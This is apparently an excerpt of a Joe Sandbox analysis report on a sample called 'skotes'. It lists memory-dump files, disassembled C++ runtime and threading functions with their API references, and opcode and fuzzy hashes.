Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: df8901d85019d9e4ac0878d282efcbac15e33fb8e1a3607bba931704471f394b
Instruction ID: 5d8a4c4a7bf56259fe2b630312bac93328fb766f7b3e3d9a756e8f2f8f3c93ea
Opcode Fuzzy Hash: df8901d85019d9e4ac0878d282efcbac15e33fb8e1a3607bba931704471f394b
Instruction Fuzzy Hash: 7C319A39710210EFDB05EF54C884BEDB7E6AF99300F140199E81A9B392CB74AD91CF92

Function 002186C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 002186EE

Part of subcall function 0020EAD0: _SpinWait.LIBCONCRT ref: 0020EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00218702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00218734
List.LIBCMT ref: 002187B7
List.LIBCMT ref: 002187C6

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: ad0a088d03defea1ab622dce04a03e8cb99a7413e4514e1a79812ce13a12ffed
Instruction ID: 135e4f656e44581c305b5d47c60550596e88725ab61b31ff4006a99a3a98d992
Opcode Fuzzy Hash: ad0a088d03defea1ab622dce04a03e8cb99a7413e4514e1a79812ce13a12ffed
Instruction Fuzzy Hash: 9031973AD25356DFCB24EFA4C5816ECF7B1BF24318F24006AD40127A92CB31A9A5CB91

Function 0020A840 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0020A9D0
__Mtx_unlock.LIBCPMT ref: 0020A9ED

Part of subcall function 001F3380: __Cnd_broadcast.LIBCPMT ref: 001F33CB
Part of subcall function 001F3380: __Mtx_unlock.LIBCPMT ref: 001F33DF

Concurrency::cancel_current_task.LIBCPMT ref: 0020AA45

Strings

j718, xrefs: 0020A857

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastConcurrency::cancel_current_task
String ID: j718
API String ID: 3354401312-3131343938
Opcode ID: e83292a1d8ee6fc46ed431dffe7b793e7d7581c9e48ed5440d1a313cbb8fa288
Instruction ID: 0ccb15d846bb6d715d97029a00886dc8f0d265517026d2f7eb9345c31d3a85ef
Opcode Fuzzy Hash: e83292a1d8ee6fc46ed431dffe7b793e7d7581c9e48ed5440d1a313cbb8fa288
Instruction Fuzzy Hash: FD619CB0E1130ADFDB14DFA4C544BAEBBB8BF04304F244269E815A76C2D775AA14CFA1

Function 0020C452 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0020C4F8
__Xtime_diff_to_millis2.LIBCPMT ref: 0020C542
_xtime_get.LIBCPMT ref: 0020C561

Strings

j718, xrefs: 0020C458

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: j718
API String ID: 2858396081-3131343938
Opcode ID: 4f81ba3f635fc17e6952eaec62ca69c92070df990758154a16d4179b11eb78c0
Instruction ID: 36374ec199e8f815cd738c2c06a765813d71b6f465ecb16c057224c12f04854d
Opcode Fuzzy Hash: 4f81ba3f635fc17e6952eaec62ca69c92070df990758154a16d4179b11eb78c0
Instruction Fuzzy Hash: 49517BB5A20316CBCF20DF24C9D59A97BB0EF04310B74865AE806AB2D6D730FD51CBA5

Function 001F3040 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 001F30F5
GetCurrentThreadId.KERNEL32 ref: 001F3132
__Mtx_unlock.LIBCPMT ref: 001F319B

Strings

j718, xrefs: 001F3054

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread
String ID: j718
API String ID: 2978015407-3131343938
Opcode ID: 8a7887f5c3f7b0e6f0b5f5d0538cc9dd8f1b954fe8c43da8e3968eb7e73c4630
Instruction ID: 7d2780b793df9fa5149f551207fdc13766c526f32a28dd917c1bdbe954df27c4
Opcode Fuzzy Hash: 8a7887f5c3f7b0e6f0b5f5d0538cc9dd8f1b954fe8c43da8e3968eb7e73c4630
Instruction Fuzzy Hash: CE41D4B0915309DFDB24DF64C8447BAB7A8EF15310F14826AE925D7282EB31DA54CBE1

Function 001F3AC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 001F3B93
__Cnd_destroy_in_situ.LIBCPMT ref: 001F3B99
__Mtx_destroy_in_situ.LIBCPMT ref: 001F3BA2

Strings

j718, xrefs: 001F3AD5

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
